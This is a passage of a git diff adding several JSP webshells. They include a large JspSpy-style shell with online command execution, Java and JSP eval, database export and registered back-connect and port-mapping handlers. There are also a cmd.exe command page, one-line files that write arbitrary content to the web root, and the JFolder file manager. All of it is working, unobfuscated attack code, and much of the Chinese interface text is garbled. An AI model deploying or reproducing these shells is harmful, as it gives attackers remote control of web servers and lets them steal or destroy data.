"); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +if (JSession.getAttribute(ENTER_MSG) != null) { +String outEntry = request.getParameter("outentry"); +if (Util.isEmpty(outEntry) || !outEntry.equals("true")) +Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString()); +} +} catch (Exception e) { + +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
"); +out.println("

Shell OnLine »


"); +out.println("
"+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo"+ +"
"+ +"
"+ +" "+ +"
"+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
"+ +" " +); +out.println("
"); +} catch (Exception e) { +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+System.getProperty("file.encoding")); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start(); +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { + +throw e; +} +} +} +private static class EnterInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (!Util.isEmpty(type)) { +JSession.removeAttribute(ENTER); +JSession.removeAttribute(ENTER_MSG); +JSession.removeAttribute(ENTER_CURRENT_DIR); +JSession.setAttribute(MSG,"Exit File Success ! "); +} else { +String f = request.getParameter("filepath"); +if (Util.isEmpty(f)) +return; +JSession.setAttribute(ENTER,f); +JSession.setAttribute(ENTER_MSG,"You Are In File \""+f+"\" Now ! Exit "); +} +response.sendRedirect(SHELL_NAME); +} +} +private static class VExport2FileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +String sql = request.getParameter("sql"); +String table = request.getParameter("table"); +if (Util.isEmpty(sql) && Util.isEmpty(table)) { +JSession.setAttribute(SESSION_O,"vConn"); +response.sendRedirect(SHELL_NAME); +return; +} +out.println("
"+ +""+ +" "+ +" "+ +" "+ +"
"+ +" "+ +" "+ +" "+ +" "+ +"

Export To File »

"+ +" "+ +"
Export \""+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","""))+"\" To File : "+ +" "+ +"

"+BACK_HREF+"
"+ +"
"); +} +} + +private static class ExportInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +String type = request.getParameter("type"); +String filepath = request.getParameter("filepath"); +String encode = request.getParameter("encode"); +String sql = null; +DBOperator dbo = null; +dbo = (DBOperator)JSession.getAttribute(DBO); + +if (Util.isEmpty(type)) { +//table export +String tb = request.getParameter("table"); +if (Util.isEmpty(tb)) +return; +String s = dbo.getConn().getMetaData().getIdentifierQuoteString(); +sql = "select * from "+s+tb+s; + +} else if (type.equals("queryexp")) { +//query export +sql = request.getParameter("sql"); +if (Util.isEmpty(sql)) { +JSession.setAttribute(SESSION_O,"vConn"); +response.sendRedirect(SHELL_NAME); +return; +} +} +Object o = dbo.execute(sql); +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +byte[] rowSep = "\r\n".getBytes(); +if (o instanceof ResultSet) { +ResultSet rs = (ResultSet)o; +ResultSetMetaData meta = rs.getMetaData(); +int count = meta.getColumnCount(); +for (int i =1;i<=count;i++) { +String colName = meta.getColumnName(i)+"\t"; +byte[] b = null; +if (Util.isEmpty(encode)) +b = colName.getBytes(); +else +b = colName.getBytes(encode); +bout.write(b,0,b.length); +} +bout.write(rowSep,0,rowSep.length); +while (rs.next()) { +for (int i =1;i<=count;i++) { +String v = null; +try { +v = rs.getString(i); +} catch (SQLException ex) { +v = "<>"; +} +v += "\t"; +byte[] b = null; +if (Util.isEmpty(encode)) +b = v.getBytes(); +else +b = v.getBytes(encode); +bout.write(b,0,b.length); +} +bout.write(rowSep,0,rowSep.length); +} +rs.close(); +ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray()); +BufferedOutputStream output = null; +if (!Util.isEmpty(filepath)) { +//export2file +output = new BufferedOutputStream(new FileOutputStream(new File(filepath))); +} else { +//download. +response.setHeader("Content-Disposition","attachment;filename=DataExport.txt"); +output = new BufferedOutputStream(response.getOutputStream()); +} +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +bout.close(); +input.close(); +output.close(); +if (!Util.isEmpty(filepath)) { +JSession.setAttribute(MSG,"Export To File Success !"); +response.sendRedirect(SHELL_NAME); +} +} +} +} +private static class EvalInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +String type = request.getParameter("type"); +PrintWriter out = response.getWriter(); +Object msg = JSession.getAttribute(MSG); +if (msg != null) { +Util.outMsg(out,(String)msg); +JSession.removeAttribute(MSG); +} +if (Util.isEmpty(type)) { +out.println(""+ +" "+ +" "+ +" "+ +"

Eval Java Code »

"+ +"
"+ +"

"+ +"

"+ +"UpLoad a Class File : "); +Util.outMsg(out,"
"+
+"public class SpyEval{\r\n"+
+"	static {\r\n"+
+"		//Your Code Here.\r\n"+
+"	}\r\n"+
+"}\r\n"+
+"
","left"); +out.println("

"+ +"

Jsp Eval :
"+ +" "+ +" "+ +"
"+ +"
"+ +"

"+ +"
"); +} else if (type.equals("jsp")){ +String jspc = request.getParameter("jspc"); +if (Util.isEmpty(jspc)) +return; +File f = new File(SHELL_DIR,"evaltmpninty.jsp"); +BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8")); +writer.write(jspc,0,jspc.length()); +writer.flush(); +writer.close(); +out.println(""+ +" "+ +"

Jsp Eval Result »

"); +out.println("
"); +request.getRequestDispatcher("evaltmpninty.jsp").include(request,response); +out.println("
"); +f.delete(); +} +} +} +private static class EvalUploadInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +ByteArrayOutputStream stream = new ByteArrayOutputStream(); +UploadBean upload = new UploadBean(); +upload.setTargetOutput(stream); +upload.parseRequest(request); + +if (stream.toByteArray().length == 2) { +JSession.setAttribute(MSG,"Please Upload Your Class File ! "); +((Invoker)ins.get("ev")).invoke(request,response,JSession); +return; +} +SpyClassLoader loader = new SpyClassLoader(); +try { +Class c = loader.defineClass(null,stream.toByteArray()); +c.newInstance(); +}catch(Exception e) { +} +stream.close(); +JSession.setAttribute(MSG,"Eval Java Class Done ! "); +((Invoker)ins.get("ev")).invoke(request,response,JSession); +} +} +private static class VOtherInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object msg = JSession.getAttribute(MSG); +if (msg != null) { +Util.outMsg(out,(String)msg); +JSession.removeAttribute(MSG); +} +out.println(""+ +" "+ +" "+ +" "+ +"

Session Manager>>


"+ +"
"+ +"
    "); +Enumeration en = JSession.getAttributeNames(); +while (en.hasMoreElements()) { +Object o = en.nextElement(); +if (o.toString().equals(MSG)) +continue; +out.println("
  • "+o.toString()+" "); +out.println(" "); +out.println(""); +out.println(""); +out.println("
  • "); +} +out.println("
  • "+ +"New Session Attribute"+ +"name : value : "+ +"
"); +} catch (Exception e) { +throw e ; +} +} +} +//Session Manager +private static class SmInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +PrintWriter out = response.getWriter(); +if (type.equals("update")) { +String name = request.getParameter("name"); +String value = request.getParameter("value"); +JSession.setAttribute(name,value); +JSession.setAttribute(MSG,"Update/Add Attribute Success !"); +} else if (type.equals("delete")) { +String name = request.getParameter("name"); +JSession.removeAttribute(name); +JSession.setAttribute(MSG,"Remove Attribute Success !"); +} +((Invoker)ins.get("vother")).invoke(request,response,JSession); +} catch (Exception e) { + +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoveDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +ins.put("enter",new EnterInvoker()); +ins.put("export",new ExportInvoker()); +ins.put("ev",new EvalInvoker()); +ins.put("eu",new EvalUploadInvoker()); +ins.put("vother",new VOtherInvoker()); +ins.put("sm",new SmInvoker()); +ins.put("vExport",new VExport2FileInvoker()); +ins.put("vPack",new VPackConfigInvoker()); +ins.put("reflect",new ReflectInvoker()); +ins.put("portBack",new PortBackInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (Util.isEmpty(o)) { +if (session.getAttribute(SESSION_O) == null) +o = "index"; +else { +o = session.getAttribute(SESSION_O).toString(); +session.removeAttribute(SESSION_O); +} +} +Object obj = ins.get(o); +if (obj == null) { +response.sendRedirect(SHELL_NAME); +} else { + Invoker in = (Invoker)obj; +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null) +session.setAttribute(CURRENT_DIR,path); +((Invoker)ins.get("before")).invoke(request,response,session); +((Invoker)ins.get("script")).invoke(request,response,session); +((Invoker)ins.get("top")).invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +((Invoker)ins.get("bottom")).invoke(request,response,session); +((Invoker)ins.get("after")).invoke(request,response,session); +} +} +} catch (Exception e) { +Object msg = session.getAttribute(MSG); +if (msg != null) { +Util.outMsg(out,(String)msg); +session.removeAttribute(MSG); +} +if (e.toString().indexOf("ClassCastException") != -1) { +Util.outMsg(out,MODIFIED_ERROR + BACK_HREF); +} +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","
"),"left"); +bout.close(); +out.flush(); +((Invoker)ins.get("bottom")).invoke(request,response,session); +((Invoker)ins.get("after")).invoke(request,response,session); +} +%> diff --git a/jsp/1.jsp b/jsp/1.jsp new file mode 100644 index 0000000..c38c3c7 --- /dev/null +++ b/jsp/1.jsp @@ -0,0 +1,31 @@ +<%@ page import="java.util.*,java.io.*,java.net.*"%> +<% +// +// JSP_KIT +// +// cmd.jsp = Command Execution (win32) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
+ + +
+
+<%
+if (request.getParameter("cmd") != null) {
+        out.println("Command: " + request.getParameter("cmd") + "\n
"); + Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); disr = dis.readLine(); } + } +%> +
+ diff --git a/jsp/102.jsp b/jsp/102.jsp new file mode 100644 index 0000000..c38c3c7 --- /dev/null +++ b/jsp/102.jsp @@ -0,0 +1,31 @@ +<%@ page import="java.util.*,java.io.*,java.net.*"%> +<% +// +// JSP_KIT +// +// cmd.jsp = Command Execution (win32) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
+ + +
+
+<%
+if (request.getParameter("cmd") != null) {
+        out.println("Command: " + request.getParameter("cmd") + "\n
"); + Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); disr = dis.readLine(); } + } +%> +
+ diff --git a/jsp/12302.jsp b/jsp/12302.jsp new file mode 100644 index 0000000..9ac9bc2 --- /dev/null +++ b/jsp/12302.jsp @@ -0,0 +1,47 @@ +<%@page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*"%> + + + JspDo Code By Xiao.3 + + + + <% + if(request.getParameter("context")!=null) + { + String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312"); + String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312"); + OutputStream pt = null; + try { + pt = new FileOutputStream(path); + pt.write(context.getBytes()); + out.println("????????????!"); + } catch (FileNotFoundException ex2) { + out.println("???????¡è¡À¨¨??!"); + } catch (IOException ex) { + out.println("???????¡è¡À¨¨??!"); + } finally { + try { + pt.close(); + } catch (IOException ex3) { + out.println("???????¡è¡À¨¨??!"); + } + } +} + %> +
+ ????????????¨¨¡¤????:<%out.print(request.getRealPath(request.getServletPath())); %> +
+
+ ????????????¨¨¡¤????:"> +
+
+ ??????????????????: +
+
+ +
+ + diff --git a/jsp/IXRbE.jsp b/jsp/IXRbE.jsp new file mode 100644 index 0000000..da31687 --- /dev/null +++ b/jsp/IXRbE.jsp @@ -0,0 +1 @@ +<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>xIXRbE.jspx \ No newline at end of file diff --git a/jsp/IXRbE02.jsp b/jsp/IXRbE02.jsp new file mode 100644 index 0000000..da31687 --- /dev/null +++ b/jsp/IXRbE02.jsp @@ -0,0 +1 @@ +<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>xIXRbE.jspx \ No newline at end of file diff --git a/jsp/data.jsp b/jsp/data.jsp new file mode 100644 index 0000000..9033136 --- /dev/null +++ b/jsp/data.jsp @@ -0,0 +1,993 @@ +<% +/** +JFolder V0.9 windows platform +@Filename?? JFolder.jsp +@Description?? ?????¨°???????????????????????¨°???¨¤????¡Á??????¨ª?¡Â???¨¢???¨´¡À?????????¡Á¡Â???????????????? + +@Bugs : ?????¡À??????????????¡¤¡§???????? +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //????¡ã?¡À???0 : ?????? 1?????? +String strThisFile="JFolder.jsp"; +String[] authorInfo={" ¡ã??????¨² "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"?? ?? ?? ?¨ª","File Management"}; +String[] strCommand = {"CMD ?¨¹ ??","Command Window"}; +String[] strSysProperty = {"?? ?? ?? ??","System Property"}; +String[] strHelp = {"¡ã? ?¨²","Help"}; +String[] strParentFolder = {"????????","Parent Folder"}; +String[] strCurrentFolder= {"?¡À?¡ã????","Current Folder"}; +String[] strDrivers = {"?????¡Â","Drivers"}; +String[] strFileName = {"????????","File Name"}; +String[] strFileSize = {"?????¨®??","File Size"}; +String[] strLastModified = {"¡Á??¨®????","Last Modified"}; +String[] strFileOperation= {"??????¡Á¡Â","Operations"}; +String[] strFileEdit = {"????","Edit"}; +String[] strFileDown = {"????","Download"}; +String[] strFileCopy = {"????","Move"}; +String[] strFileDel = {"????","Delete"}; +String[] strExecute = {"????","Execute"}; +String[] strBack = {"¡¤???","Back"}; +String[] strFileSave = {"¡À???","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } +if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows?????????????????¨´???????? +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M ????5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("?????¨®???? 0 ¡Á???????????????¡ã?"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
"); + sbEdit.append(""); + sbEdit.append("
"); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("?????????? "+strPath+"

"); + sbCopy.append("??¡À¨º??????

"); + sbCopy.append(" "); + sbCopy.append("

 \r\n"); + sbCopy.append("

"); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

??¡À¨º?????¨ª?¨®??"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

